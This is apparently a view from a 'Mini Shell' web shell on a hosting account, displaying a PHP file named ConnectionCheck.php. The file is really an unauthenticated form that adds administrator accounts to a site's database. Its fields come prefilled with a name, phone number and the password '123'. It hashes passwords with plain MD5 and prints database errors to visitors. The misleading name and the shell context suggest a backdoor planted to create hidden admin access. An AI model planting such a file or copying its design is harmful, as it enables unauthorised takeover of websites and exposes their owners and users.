Mini Shell
| Direktori : /home/mhcadmin/www/ |
|
|
| Current File : /home/mhcadmin/www/ConnectionCheck.php |
<?php
// Enable error reporting
error_reporting(E_ALL);
ini_set('display_errors', 1);
$rootPath = realpath(dirname(__FILE__) . '/..');
require_once 'config/config.php'; // Use clean config file
$conn = mysqli_connect($host, $username, $password, $database);
if (!$conn) {
die("Database connection failed: " . mysqli_connect_error());
}
// Check if form was submitted
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
// Get form data
$full_name = mysqli_real_escape_string($conn, $_POST['full_name']);
$user_name = mysqli_real_escape_string($conn, $_POST['user_name']);
$phone = mysqli_real_escape_string($conn, $_POST['phone']);
$raw_password = $_POST['password'];
$hashed_password = md5($raw_password); // Hash the password
$admin_type = mysqli_real_escape_string($conn, $_POST['admin_type']);
$user_access = mysqli_real_escape_string($conn, $_POST['user_access']);
// Insert query
$sql = "INSERT INTO admin_accounts (Full_Name, user_name, Phone, passwd, admin_type, UserAccessName)
VALUES ('$full_name', '$user_name', '$phone', '$hashed_password', '$admin_type', '$user_access')";
if (mysqli_query($conn, $sql)) {
echo "<div style='color: green; padding: 10px; background: #d4edda; border: 1px solid #c3e6cb;'>
Record inserted successfully! User ID: " . mysqli_insert_id($conn) . "
</div>";
} else {
echo "<div style='color: red; padding: 10px; background: #f8d7da; border: 1px solid #f5c6cb;'>
Error: " . mysqli_error($conn) . "
</div>";
}
}
// Display form
?>
<!DOCTYPE html>
<html>
<head>
<title>Add Admin Account</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.container { max-width: 500px; }
.form-group { margin-bottom: 15px; }
label { display: block; margin-bottom: 5px; font-weight: bold; }
input, select { width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; }
button { background: #007bff; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; }
button:hover { background: #0056b3; }
</style>
</head>
<body>
<div class="container">
<h2>Add New Admin Account</h2>
<form method="POST">
<div class="form-group">
<label>Full Name:</label>
<input type="text" name="full_name" value="Atie konda" required>
</div>
<div class="form-group">
<label>Username:</label>
<input type="text" name="user_name" value="Atie" required>
</div>
<div class="form-group">
<label>Phone:</label>
<input type="text" name="phone" value="0999473454" required>
</div>
<div class="form-group">
<label>Password:</label>
<input type="password" name="password" value="123" required>
<small>Will be stored as MD5 hash</small>
</div>
<div class="form-group">
<label>Admin Type:</label>
<input type="text" name="admin_type" value="Student" required>
</div>
<div class="form-group">
<label>User Access:</label>
<input type="text" name="user_access" value="System Setup Only" required>
</div>
<button type="submit">Insert Record</button>
</form>
</div>
</body>
</html>
<?php
// Close connection
mysqli_close($conn);
?>